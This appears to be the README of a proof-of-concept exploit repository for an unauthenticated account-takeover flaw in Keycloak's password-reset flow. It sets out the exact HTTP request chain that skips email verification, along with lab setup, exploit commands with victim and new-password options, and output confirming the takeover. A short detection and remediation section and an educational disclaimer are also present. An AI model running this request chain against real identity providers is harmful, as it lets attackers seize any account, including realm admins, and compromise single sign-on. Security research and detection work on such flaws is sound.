
Proof-of-concept exploit for CVE-2026-18963, a critical Keycloak reset-credentials bypass enabling unauthenticated account takeover. Includes lab setup, detection guidance, and remediation steps for authorized testing.
Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.
This proof of concept is published strictly for educational purposes, defensive research, detection engineering, and authorized security testing.
See DISCLAIMER.md for the full statement.
| CVE | CVE-2026-18963 |
| Severity | Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Weakness | CWE-640 — Weak Password Recovery Mechanism |
| Affected | Keycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles |
| Fixed | Keycloak 26.7.2 (PR #51844) |
| Preconditions | Forgot password (reset credentials) enabled on the realm — the default |
| Impact | Full account takeover of any user (including realm admins) → IdP compromise + lateral SSO access |
The password-reset (reset-credentials) flow normally forces you to click a link
emailed to the account owner before you can set a new password. Two defects let an
attacker skip that check entirely:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" not scoped to the
execution ID. Re-entering the flow leaves the authentication session in a
confused/stale state.ResetCredentialEmail.action() calls
context.success() without verifying ACTION_TOKEN_USER_ID (i.e. without
confirming the emailed action token was actually consumed).Chaining them advances the authentication session straight to the
UPDATE_PASSWORD step for an arbitrary user, no email required.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
See docs/ROOTCAUSE.md for the annotated patch diff.
You need Docker and Python 3 with requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Expected tail:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Then log in as victim / Pwned-2026! to confirm the takeover.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Every HTTP response is written to ./dump/ for inspection.
Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Raw request chain for Burp Repeater is in
requests/burp-chain.txt.
Look for a password change that was not preceded by email verification in the same authentication session:
UPDATE_PASSWORD event without a preceding VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN for that session.reset-credentials requests carrying tryAnotherWay=on.login-actions/reset-credentials for the same tab_id.A full run is recorded in CVE-2026-18963.mp4 (in the repo root).
Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.
MIT © red-darkin — for educational and authorized testing use only.